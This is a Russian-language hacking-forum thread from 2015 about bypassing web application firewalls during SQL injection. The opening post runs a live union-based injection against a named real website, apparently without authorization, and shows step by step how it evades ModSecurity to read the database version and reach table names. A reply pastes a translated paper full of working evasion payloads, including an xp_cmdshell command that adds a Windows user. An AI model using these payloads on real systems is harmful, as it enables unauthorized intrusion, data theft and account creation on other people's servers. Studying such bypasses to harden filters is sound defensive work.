Вы сказали WAF?ModSecurity? -- Не смешите)

Discussion in 'Этичный хакинг или пентестинг' started by Mister_Bert0ni, 16 May 2015.

  1. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    188
    Reputations:
    57
    Предисловие:
    Добрый день люд хакерский) Решил начать постить свою серию постов "для нубиков таких как я" )
    За рание хочу попросить извинение за ошибки в правописание русского языка.Уж так сложилось что школе у меня было печально с русским языком,и я не в России живу.Не работаю в области ИТ.Поэтому если увидете где то много ошибок - не кричите в своих коментах школота)А если вы адмим или модератор то лучше тихонечко исправте)
    И так я не так давно начал увлекаться скулями и все чаще натыкаюсь на различные WAF(Web Application Firewall) и по этому иногда имею плохое настроения когда WAF не дает разкрутить скуль.
    И вот собственно говоря решил запостит пару методов обхода таких неудобняков)

    Содержание поста:
    WAF ByPass (\N , e , {})


    WAF ByPass
    И так для демонстрации возмем какой то сайт и будем пробовать стандартные методы Waf ByPass

    HTML:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=78

    Посчетаем столбцы.Как это делать писать не буду.Статей на ачате море.
    И так у нас получилось 16 столбцов.
    Пробуем сделать вывод командой Union Select
    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
    В ответ получаем:
    "Not Acceptable! "
    Обычно такую ошибку генерирует ModSecurity.
    Как обойти ModSecurity?Обычно запрос типа:/*!50000union*/ /*!50000select*/ или union distinct|distinctrow select
    Думаю стоит попробывать:
    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 /*!50000union*/ distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- -
    
    ModSecurity обходиться,но тут какой то другой WAF..
    Давайте сделаем несколько тестов:
    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16 union
    В ответ:
    403
    Union блокируется (
    Пробуем так:
    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16e0union
    403
    Попрежнему блочит.
    Пробуем:
    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=aunion
    Не блочит) Уже лучше)
    Но как сделать что бы не было ошибки синтаксиса 1064?
    Попробуем использовать \N
    Пробуем:
    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
    Вуаля)) Сработало) 10 столбец уязвим...
    Попробуем посмотреть версию
    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16--
    
    403
    опять блочит(
    Но в помощь нам прийдет еще одна хитрость, которую можно использовать в эксплуатации SQLi.
    Это функция mysql которая називается TIMESTAMP
    которая обычно определяет тип строки.Типо того что то:
    Code:
    SELECT TIMESTAMP 'str';
    или так
    SELECT { ts column};
    
    И так пробуем в нашем запросе:

    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16--
    
    Опа) Вот и версия 5.5.40-36.1
    Еще одна проблема которую мы попытаемся решить - это как получить таблицы?
    Пробуем запрос

    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16 from--
    
    403
    Waf блокирует from.
    Существует метод обойти с помощью добавление точки к последнему столбцу и дальше пишем все без пробелов:
    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,.16from--
    
    Обычно ModSecurity блочит information_schema.tables.Но мы же помним про TIMESTAMP
    Пробуем:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from {f information_schema.tables}--
    Эх..WAF блочит словосочитание "schema.tables"
    Попробуем решить эту проблему.
    Когда Вебсервер парсит запрос,он использует такой формат DB.Tables.Column
    Сбалансируем запрос с помощью 'e'. В MySql
    information_schema 9.e.tables = information_schema.tables

    Code:
    http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,.16from {f information_schema 0.e.tables}--
    
    ByPassed ))
     
    #1 Mister_Bert0ni, 16 May 2015
    Last edited: 16 May 2015
    BenderMR, Ch3ck, spherics and 18 others like this.
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,671
    Likes Received:
    895
    Reputations:
    363
    первое правило waf bypass - не говорить о waf bypass :)
    первый раз услышал. есть ссылка на доки?
     
    _________________________
  3. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    188
    Reputations:
    57
    В лс кинул
     
  4. scr1m77

    scr1m77 Member

    Joined:
    29 Dec 2010
    Messages:
    2
    Likes Received:
    6
    Reputations:
    2
    Автор, пиши еще :). Добавь доки по последнему вектору
     
    totenkopf and ..::TROYAN::.. like this.
  5. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,671
    Likes Received:
    895
    Reputations:
    363
    на sweb когда-то обходилось все POST запросом, сейчас не знаю
     
    _________________________
  6. frank

    frank Level 8

    Joined:
    8 May 2015
    Messages:
    200
    Likes Received:
    95
    Reputations:
    28
    Хм, проверил у себя на модсек. Ловит, видимо зависит от сборки ядра и правил, ну или от того какие правила включены , какие нет. Кинь и мне, если не трудно линк на других, спасибо :)
     
  7. nopony

    nopony New Member

    Joined:
    29 Aug 2013
    Messages:
    8
    Likes Received:
    3
    Reputations:
    8
    Мне бы тоже ссылочку на доки,если можно
     
  8. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,553
    Reputations:
    40
    А ты злодей, мне тоже вконтакт кинь документацию. Кстати, помнишь мы тоже пытались получить доступ к information_schema. Надо попробовать
    Я ещё немного добавлю статью
    копипаст с exploitdb . Переводчик гугл

    Добро пожаловать, читатель. То, что ты видишь – результат долгих попыток документирования продвинутых техник эксплуатации SQL-инъекций, над которыми мы работали. Здесь будут показаны продвинутые техники обхода фильтров и обфускации, многие из которых могут быть применимы к реальным CMS и WAF. Предложенные в данном документе примеры SQL-инъекций – лишь некоторые из путей обхода защиты. Существуют и другие техники, которые могут быть использованы при атаке веб-приложений, но, к сожалению, мы не можем раскрыть их здесь, поскольку они используют уязвимости «нулевого дня». Тем не менее, цель данного документа – показать, что в реальном мире ни одна система не является абсолютно защищенной. Даже если ее охраняет WAF за 300 тысяч долларов.
    Документ разделен на 7 разделов, но техническая информация содержится только в разделах с 0x01 по 0x03.
    В разделе 0x01 мы опишем подробности обхода фильтров, включая фильтры функций и ключевых слов. В разделе 0x02 мы предлагаем обычные техники обхода коммерческих и свободных WAF. В разделе 0x03 мы тщательно обсудим продвинутые техники обхода, которые разбиваются на два подраздела: "HTTP Parameter Contamination" и "HTTP Pollution: Разделяй и соединяй". В разделе 0x04 мы укажем решения, направленные на защиту вашего сайта. Последний, 0x05, раздел - заключение по материалу, данному в предыдущих разделах.
    [0x01] - Filter Evasion (Mysql)
    В этом разделе будут описаны поведения filter evasion основанные на PHP и MySQL и то, как обойти фильтрацию. Filter evasion – техника, используемая для предотвращения атак типа SQL-инъекция. Она может осуществляться путем использования фильтрации функций SQL, ключевых слов или регулярных выражений. Это означает, что filter evasion сильно зависит от того, в каком виде хранится черный список или регулярные выражения. Если черный список или регулярное выражение не покрывают всевозможные сценарии инъекций, то веб-приложение по-прежнему уязвимо к SQL-инъекциям.
    [0x01a] - Обход фильтрации функций и ключевых слов
    Фильтрация функций и ключевых слов оберегает веб-приложения от атак c помощью черного списка функций и ключевых слов. Если атакующий посылает код инъекции, содержащий функцию или ключевое слово из черного списка, то инъекция потерпит неудачу. Тем не менее, если атакующий имеет возможность изменить инъекцию, использовав иную функцию или ключевое слово, то черный список не сможет предотвратить атаку. Чтобы предотвращать атаки, черный список должен содержать много функций и ключевых слов. Однако, это мешает легальным пользователям посылать запросы, содержащие запретные слова. Они просто будут отфильтрованы по черному списку. Следующие сценарии показывают примеры использования фильтрации ключевых слов и функций, а также техники обхода фильтрации.
    Фильтруемые ключевые слова: and, or
    ----------------------------------------------------------------------
    код PHP-фильтра: preg_match('/(and|or)/i',
    $id)
    Ключевые слова and и or обычно используются как простой тест на уязвимость веб-приложения к SQL-инъекциям.
    Далее показан простой обход правила с использованием && и || вместо and и or.
    Отфильтрованная инъекция: 1 or 1 = 1 1 and 1 = 1
    Пропущенная инъекция: 1 || 1 = 1 1 && 1 = 1
    ----------------------------------------------------------------------
    Фильтруемые ключевые слова: and, or, union
    ----------------------------------------------------------------------
    код PHP-фильтра:
    preg_match('/(and|or|union)/i', $id)
    Ключевое слово union обычно используется для создания вредоносной инструкции, чтобы выбрать из базы дополнительные данные.
    Отфильтрованная инъекция: union select user, password from users
    Пропущенная инъекция: 1 || (select user from users where user_id = 1) = 'admin'
    ** Примечание: вы должны знать имя таблицы, столбца и какие-нибудь данные из этой таблицы, иначе вам придется получить эту информацию
    из таблицы information_schema.columns, используя другой оператор (например, функцию substring, чтобы получить имя таблицы посимвольно)
    ----------------------------------------------------------------------
    Фильтруемые ключевые слова: and, or, union, where
    ----------------------------------------------------------------------
    код PHP-фильтра:
    preg_match('/(and|or|union|where)/i', $id)
    Отфильтрованная инъекция: 1 || (select user from users where user_id = 1) = 'admin'
    Пропущенная инъекция: 1 || (select user from users limit 1) = 'admin'
    ----------------------------------------------------------------------
    Фильтруемые ключевые слова: and, or, union, where, limit
    ----------------------------------------------------------------------
    код PHP-фильтра:
    preg_match('/(and|or|union|where|limit)/i', $id)
    Отфильтрованная инъекция: 1 || (select user from users limit 1) = 'admin'
    Пропущенная инъекция: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
    ----------------------------------------------------------------------
    Фильтруемые ключевые слова: and, or, union, where, limit, group by
    ----------------------------------------------------------------------
    код PHP-фильтра:
    preg_match('/(and|or|union|where|limit|group by)/i', $id)
    Отфильтрованная инъекция: 1 || (select user from users group
    by user_id having user_id = 1) = 'admin'
    Пропущенная инъекция: 1 || (select
    substr(gruop_concat(user_id),1,1) user from users ) = 1
    ----------------------------------------------------------------------
    Фильтруемые ключевые слова: and, or, union, where, limit, group by, select
    ----------------------------------------------------------------------
    код PHP-фильтра:
    preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
    Отфильтрованная инъекция: 1 || (select
    substr(gruop_concat(user_id),1,1) user from users) = 1
    Пропущенная инъекция: 1 || 1 = 1 into outfile 'result.txt'
    Пропущенная инъекция: 1 || substr(user,1,1) = 'a'
    ----------------------------------------------------------------------
    Фильтруемые ключевые слова: and, or, union, where, limit, group by,
    select, '
    ----------------------------------------------------------------------
    код PHP-фильтра:
    preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
    Отфильтрованная инъекция: 1 || (select
    substr(gruop_concat(user_id),1,1) user from users) = 1
    Пропущенная инъекция: 1 || user_id is not null
    Пропущенная инъекция: 1 || substr(user,1,1) = 0x61
    Пропущенная инъекция: 1 || substr(user,1,1) = unhex(61)
    ----------------------------------------------------------------------
    Фильтруемые ключевые слова: and, or, union, where, limit, group by,
    select, ', hex
    ----------------------------------------------------------------------
    код PHP-фильтра:
    preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
    Отфильтрованная инъекция: 1 || substr(user,1,1) = unhex(61)
    Пропущенная инъекция: 1 || substr(user,1,1) =
    lower(conv(11,10,36))
    ----------------------------------------------------------------------
    Фильтруемые ключевые слова: and, or, union, where, limit, group by,
    select, ', hex, substr
    ----------------------------------------------------------------------
    код PHP-фильтра:
    preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
    Отфильтрованная инъекция: 1 || substr(user,1,1) =
    lower(conv(11,10,36))
    Пропущенная инъекция: 1 || lpad(user,7,1)
    ----------------------------------------------------------------------
    Фильтруемые ключевые слова: and, or, union, where, limit, group by,
    select, ', hex, substr, white space
    ----------------------------------------------------------------------
    код PHP-фильтра:
    preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
    Отфильтрованная инъекция: 1 || lpad(user,7,1)
    Пропущенная инъекция: 1%0b||%0blpad(user,7,1)
    ----------------------------------------------------------------------
    Из приведенных выше примеров видно, что существует сразу несколько SQL-выражений, позволяющих обойти черный список, хотя он содержит довольно много функций и ключевых слов. Более того, данный черный список можно обойти огромным количеством SQL-выражений, не попавших в примеры.
    Увеличение объема черного списка - не лучшая идея для защиты вашего сайта. Помните, чем больше функций и ключевых слов фильтруются, тем сайт менее удобен для пользователей.
    [0x01b] – Обход фильтрации по регулярным выражениям
    Фильтрация по регулярным выражениям – более совершенное решение для предотвращения SQL-инъекций, чем фильтрация функций и ключевых слов. Она использует проверку соответствия шаблонам (а не отдельным словам) для обнаружения атаки. Запросы легальных пользователей обрабатываются при этом более гибко.
    Тем не менее, регулярные выражения тоже можно обойти. Следующие примеры иллюстрируют скрипты инъекций, используемые для обхода регулярных выражений в PHPIDS 0.6 (свободно распространяемой системе обнаружения вторжений для веб-приложений).
    PHPIDS обычно блокирует запросы, содержащие = или ( или ', за которыми следует любая строка или целое число. Однако, это можно обойти, используя выражение, не содержащее симолов =, ( и '.
    ---------------------------------------------------------------
    Отфильтрованная инъекция: 1 or 1 = 1
    Пропущенная инъекция: 1 or 1
    [End Code]-----------------------------------------------------------
    ---------------------------------------------------------------
    Отфильтрованная инъекция: 1 union select 1, table_name from
    information_schema.tables where table_name = 'users'
    Отфильтрованная инъекция: 1 union select 1, table_name from
    information_schema.tables where table_name between 'a' and 'z'
    Отфильтрованная инъекция: 1 union select 1, table_name from
    information_schema.tables where table_name between char(97) and char(122)
    Пропущенная инъекция: 1 union select 1, table_name from
    information_schema.tables where table_name between 0x61 and 0x7a
    Пропущенная инъекция: 1 union select 1, table_name from
    information_schema.tables where table_name like 0x7573657273
    [End Code]-----------------------------------------------------------
    [0x02] - Обычные техники обхода
    В этом разделе упоминаются техники WAF. Прежде всего вам нужно узнать, что такое WAF.
    Файрвол Веб-Приложений (WAF) – это программно-аппаратный комплекс, плагин сервера или фильтр, который применяет набор правил к HTTP-диалогу. Обычно эти правила покрывают распространенные атаки вроде межсайтового скриптинга (XSS) или SQL-инъекции. Адаптация правил WAF к вашим приложениям позволит обнаружить и блокировать множество атак. Однако, адаптация правил может потребовать значительных усилий и должна возобновляться после внесения изменений в приложение.
    WAF часто называют «Файрволы с глубоким исследованием пакетов», так как они просматривают каждый запрос и ответ для протоколов HTTP/HTTPS/SOAP/XML-RPC. Некоторые современные WAF-системы обнаруживают атаки как по сигнатурам, так и по отклонениям в поведении.
    Теперь давайте поймем, как пробиться через WAF с помощью обфускации. Все WAF можно обойти, поняв со временем их правила, или используя свое воображение!
    1. Обход с помощью комментариев
    SQL-комментарии позволяют нам обходить множество фильтров и WAF.
    ---------------------------------------------------------------
    http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
    [End Code]-----------------------------------------------------------

    2. Изменение регистра букв
    Некоторые WAF фильтруют ключевые слова записанные только в нижнем регистре
    Фильтр регулярных выражений: /union\sselect/g

    ---------------------------------------------------------------
    http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
    [End Code]-----------------------------------------------------------


    3. Замещение ключевых слов
    Некоторые приложения и WAF используют preg_replace, чтобы убрать из запроса все ключевые слова SQL. Это можно легко обойти.
    ---------------------------------------------------------------
    http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
    [End Code]-----------------------------------------------------------
    В некоторых случаях ключевые слова SQL отфильтровываются и заменяются пробелами. Это можно обойти, используя "%0b".
    ---------------------------------------------------------------
    http://victim.com/news.php?id=1+uni on+se lect+1,2,3--
    [End Code]-----------------------------------------------------------
    В случае Mod_rewrite, обход с помощью комментариев "/**/" невозможен. Так что мы используем "%0b" вместо "/**/".
    Запрещено: http://victim.com/main/news/id/1/**/||/**
    /lpad(first_name,7,1).html
    Пропущено: http://victim.com/main/news/id/1 || lpad(first_name,7,1).html

    4. Кодировка символов
    Большинство CMS и WAF декодируют, а затем отфильтровывают/пропускают переданные
    приложению данные.
    Однако некоторые WAF декодируют данные лишь единожды, так что двойное кодирование
    может обойти определенные фильтры:
    WAF декодирует данные один раз перед фильтрацией, в то время как приложение
    продолжит декодирование при обработке SQL-запроса.
    ------------------------------------------------------------------------------
    http://victim.com/news.php?id=1%2f%2a*/union%2f%2a
    /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
    [EndCode]-------------------------------------------------------------------------------
    Кроме того, комбинация этих приемов позволяет обходить Citrix Netscaler:
    - Удалите все пустые (NULL) слова
    - Используйте кодирование запроса в некоторых местах
    - Избавьтесь от символа одинарной кавычки "'"
    - И развлекайтесь!
    Информацию предоставил: Wendel Guglielmetti Henrique
    Armorlogic Profense до версии 2.4.4 мог быть обойден URL-кодированием символа новой строки.
    #Примеры из реального мира
    1. NukeSentinel (Nuke Evolution)
    [Nukesentinel.php
    Code]------------------------------------------------------------
    // Check for UNION attack
    // Copyright 2004(c) Raven PHP Scripts
    $blocker_row = $blocker_array[1];
    if($blocker_row['activate'] > 0) {
    if (stristr($nsnst_const['query_string'],'+union+') OR \
    stristr($nsnst_const['query_string'],'%20union%20') OR \
    stristr($nsnst_const['query_string'],'*/union/*') OR \
    stristr($nsnst_const['query_string'],' union ') OR \
    stristr($nsnst_const['query_string_base64'],'+union+') OR \
    stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
    stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
    stristr($nsnst_const['query_string_base64'],' union ')) { //
    block_ip($blocker_row);
    die("BLOCK IP 1 " );
    }
    }
    [End Code]-------------------------------------------------------------------------
    Мы можем обойти их фильтрацию с помощью такого скрипта:
    Запрещено: http://victim.com/php-nuke/?/**/union/**/select…..
    Пропущено: http://victim.com/php-nuke/?/**/union/**/select…
    Пропущено: http://victim.com/php-nuke/?/**/union/**/select…
    2. Mod Security CRS (Предоставил: Johannes Dahse)

    [SecRule]--------------------------------------------------------------------------
    SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?
    \bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,
    t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,
    t:compressWhiteSpace,ctl:auditLogParts=+E,block,
    msg:'SQL Injection
    Attack',id:'959047',tag:'WEB_ATTACK
    /SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
    tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%
    {TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
    setvar:tx.sql_injection_score=+%
    {tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
    setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"
    [End Rule]-------------------------------------------------------------------------
    Следующий код позволяет обойти их фильтр:
    ------------------------------------------------------------------------------
    http://victim.com/news.php?id=0+div+1+union#foo*/*bar select#foo
    %0D%0A1%2C2%2Ccurrent_user
    [End Code]--------------------------------------------------------------------------
    Эта атака позволяет обойти правило фильтрации Mod Security. Давайте посмотрим, что происходит!
    MySQL Server поддерживает 3 вида комментариев:
    - От символа "#" до конца строки
    - От последовательности "--" до конца строки
    - Си-подобный: между "/*" и "*/".
    Такой синтаксис (си-подобный) позволяет комментарию растягиваться на несколько
    строк, так как открывающая и закрывающая последовательности
    не обязаны лежать в одной строке. В следующем примере мы использовали
    последовательность "%0D%0A" в качестве символов новой строки.
    Давайте рассмотрим первый запрос (выявляющий имя пользователя БД). Результирующий (декодированный) SQL-код выглядит примерно так:
    0 div 1 union#foo*/*/bar
    select#foo
    1,2,current_user
    А в итоге (учитывая комментарии) MySQL DB выполняет такой код:
    0 div 1 union select 1,2,current_user

    5. Переполнение буфера.
    WAF, написанный на языке Си, потенциально уязвим к переполнению и может вести себя
    нетипично при больших объемах передаваемых данных.
    Передача большого объема данных позволяет нашему коду выполниться.
    ------------------------------------------------------------------------------
    http://victim.com/news.php?id=1+and+(select 1)=(select
    0x414141414141441414141414114141414141414141414141414141
    414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
    [End Code]--------------------------------------------------------------------------

    6. Встроенные комментарии (Только Mysql)
    Согласно справочному руководству по MySQL 5.0, MySQL Server поддерживает некоторые
    особые варианты Cи-подобных комментариев.
    Использование комментария следующего вида позволяет писать переносимый код,
    включающий расширения, специфичные для MySQL:
    /*! Код, специфичный для MySQL */
    MySQL Server разберет и выполнит код, заключенный в такой комментарий, как любое
    другое SQL-выражение, но остальные SQL-серверы его проигнорируют.
    Множество WAF фильтрует ключевые слова SQL примерно так: /union\sselect\ig Мы можем
    обойти этот фильтр, используя встроенные комментарии.
    ------------------------------------------------------------------------------
    http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--
    [End Code]--------------------------------------------------------------------------
    Встроенные комментарии могут быть использованы в любом месте SQL выражения.
    Так что, если table_name или information_schema фильтруются, мы можем использовать
    больше встроенных комментариев.
    ------------------------------------------------------------------------------
    http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*
    /+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables
    /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
    [End Code]--------------------------------------------------------------------------
    В недавнем тесте на проникновение мы смогли обойти Mod Security CRS и PentaSecurity-
    WAPPLE, используя эту технику. Подробнее смотри ниже:
    ################################################################################
    Производитель: Penta Security System
    Продукт: Wapple Web Application Firewall
    Патч выпущен: 2011-10-02 (In SQL Injection Custom Policy Mode)
    Дата релиза: 2011-10-04
    Информацию предоставили: Prathan Phongthiproek and Suphot Boonchamnan

    Эти скрипты могут [обойти] все правила фильтрации SQL-инъекций:
    1 ||1=1
    1 /*!order by*/ 3
    1 /*!union select*/ 1,table_name from /*!information_schema.tables*/
    1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name = 0x7573657273*/
    1 /*!union select*/ /*!user,password*/ from /*!users*/
    #####################################################################################
    [0x03] – Продвинутые техники обхода
    В этом разделе мы предлагаем 2 техники: "HTTP Pollution: Разделяй и соединяй" и "HTTP Parameter Contamination". Эти техники позволяют обходить множество открытых и коммерческих WAF.
    [0x03a] - HTTP Parameter Pollution1: Разделяй и соединяй
    HTTP Pollution – это новый класс уязвимостей к инъекции, описанный Luca Carettoni и Stefano Di Paola. HPP - очень простой но эффективный прием взлома. HPP атаки можно определить как возможность замещения или добавления GET/POST параметров через инъекцию в строке запроса.
    Пример HPP: "http://victim.com/search.aspx?par1=val1&par1=val2"
    Обработка HTTP параметров: (пример)
    Веб-сервер Интерпретация параметров Пример
    ASP.NET/IIS Склеивание через запятую par1=val1,val2
    ASP/IIS Склеивание через запятую par1=val1,val2
    PHP/Apache Результат – последнее значение par1=val2
    JSP/Tomcat Результат – первое значение par1=val1
    Perl/Apache Результат – первое значение par1=val1
    DBMan Склеивание через две тильды par1=val1~~val2
    Что случится с WAF, которые разбирают строку запроса перед применением фильтров? (HPP может использоваться даже для обхода WAF). Некоторые бестолковые WAF могут анализировать и проверять только одно вхождение параметра (первое или последнее). Всякий раз, когда соответствующая среда склеивает множественные вхождения параметра (ASP, ASP.NET, DBMan,…), атакующий может разделить вредоносный код.
    В недавнем тесте на проникновение (опять) нам удалось обойти Imperva SecureSphere используя "HPP+встроенный комментарий" в среде ASP/ASP.NET. С помощью этого приема можно обходить и коммерческие WAF. Более подробная информация указана ниже:
    #Примеры из реального мира:
    1. Mod Security CRS (Предоставил: Lavakumar Kuppan)
    The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.
    Следующий запрос ModSecurity CRS считает атакой типа SQL-инъекция, и потому
    блокирует.
    Запрещено: http://victim.com/search.aspx?q=select name,password from users
    Когда тот же код разделяется на несколько параметров с одинаковыми именами,
    ModSecurity его не блокирует.
    Пропущено: http://victim.com/search.aspx?q=select name&q=password from users
    Посмотрим, что происходит. Вот интерпретация ModSecurity:
    q=select name
    q=password from users
    А вот интерпретация ASP/ASP.NET:
    q=select name,password from users
    *Замечание: подобную атаку можно провести и с POST-переменными.

    2. Коммерческие WAF
    Запрещено: http://victim.com/search.aspx?q=select name,password from users
    Теперь используем HPP+встроенный комментарий для обхода.
    Пропущено: http://victim.com/search.aspx?q=select/*&q=*/name&
    amp;q=password/*&q=*/from/*&q=*/users
    Проанализируем. Вот интерпретация WAF:
    q=select/*
    q=*/name
    q=password/*
    q=*/from/*
    q=*/users
    Вот интерпретация ASP/ASP.NET:
    q=select/*,*/name,password/*,*/from/*,*/users
    q=select name,password from users

    3. IBM Web Application Firewall (Предоставил: Wendel Guglielmetti Henrique of
    Trustwave's SpiderLabs)
    Запрещено: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell
    “net user zeq3ul UrWaFisShiT /add” --
    Снова используем HPP+встроенный комментарий для обхода.
    Пропущено: http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC
    /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer
    UrWaFisShiT” /*&id=1*/ --
    Проанализируем. Вот интерпретация WAF:
    id=1’; /*
    id=1*/ EXEC /*
    id=1*/ master..xp_cmdshell /*
    id=1*/ “net user zeq3ul UrWaFisShiT” /*
    id=1*/ --
    Вот интерпретация ASP/ASP.NET:
    id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user
    zeq3ul UrWaFisShiT” /*,1*/ --
    id=1’; EXEC master..xp_cmdshell “net user zeq3ul
    UrWaFisShiT” --
    Проще всего справиться с этой атакой WAF может, запретив множественные вхождения параметра в одном HTTP-запросе. Это предотвратит все разновидности данной атаки.
    Однако, такой запрет может оказаться невозможным в случаях, когда защищаемому приложению необходима возможность множественных вхождений параметров. В этом случае WAF должен интерпретировать HTTP-запрос так же, как это сделало бы приложение.
    [0x03b] - HTTP Parameter Contamination
    В основе HTTP Parameter Contamination (HPC) лежит инновационный подход, найденный в ходе более глубокого исследования HPP и использования странного поведения компонентов веб-серверов, веб-приложений и браузеров в результате замусоривания параметров строки запроса зарезервированными или не ожидаемыми символами.
    Некоторые факты:
    Термин «строка запроса» обычно относится к части URI, находящейся между "?" и концом URI.
    В RFC 3986 «строка запроса» определяется как последовательность пар поле-значение.
    Пары разделяются симолами "&" или ";"
    RFC 2396 определяет следующие классы символов:
    Незарезервированные: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
    Зарезервированные: ; / ? : @ & = + $ ,
    Нецелесообразные2: { } | \ ^ [ ] `
    Разные веб-сервера по-разному обрабатывают специально сформированные запросы. Можно назвать больше комбинаций серверов, движков и специальных символов, но для примера в этот раз нам хватит.
    Строка запроса и ответ веб-сервера (Пример)
    Строка запроса Ответ веб-сервера / GET значения
    Apache/2.2.16, PHP/5.3.3 IIS6/ASP
    ?test[1=2 test_1=2 test[1=2
    ?test=% test=% test=
    ?test%00=1 test=1 test=1
    ?test=1%001 NULL test=1
    ?test+d=1+2 test_d=1 2 test d=1 2
    Магическое влияние символа "%" на ASP/ASP.NET
    Ключевые слова WAF ASP/ASP.NET
    sele%ct * fr%om.. sele%ct * fr%om.. select * from..
    ;dr%op ta%ble xxx ;dr%op ta%ble xxx ;drop table xxx
    <scr%ipt> <scr%ipt> <script>
    <if%rame> <if%rame> <iframe> #Примеры из реального мира:

    1. Обход правила обнаружения SQL-инекции в Mod_Security
    (modsecurity_crs_41_sql_injection_attacks.conf)
    [Filtered]-----------------------------------------------------------------------------
    [Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity:
    Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b"
    at ARGS_NAMES:sys.user_objects. [file "/etc/apache2/conf.d
    /crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line
    "110"] [id "959519"]
    [rev "2.2.0"] [msg "Blind SQL Injection Attack"]
    [data "sys.user_objects"] [severity "CRITICAL"] [tag
    "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
    [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"]
    [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"]
    [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]
    [End Code]------------------------------------------------------------------------------
    Запрещено: http://localhost/?xp_cmdshell
    Пропущено: http://localhost/?xp[cmdshell

    2. Обход правила URLScan 3.1 DenyQueryStringSequences
    Запрещено: http://localhost/test.asp?file=../bla.txt
    Пропущено: http://localhost/test.asp?file=.%./bla.txt

    3. Обход AQTRONIX Webknight (WAF для IIS и ASP/ASP.Net)
    Запрещено: http://victim.com/news.asp?id=10 and 1=0/(select top 1
    table_name from information_schema.tables)
    Пропущено: http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1
    ta%ble_name fr%om info%rmation_schema.tables)
    Отсюда видно, что Webknight использует фильтрацию по ключевым словам. Но мы используем "HTTP contamination", вставляя "%" в ключевые слова SQL, которые WAF пропускает. В результате он пересылает на веб-сервер следующую команду:
    id=10 and 1=0/(select top 1 table_name from information_schema.tables) поскольку "%" является символом-пустышкой для ASP/ASP.Net.
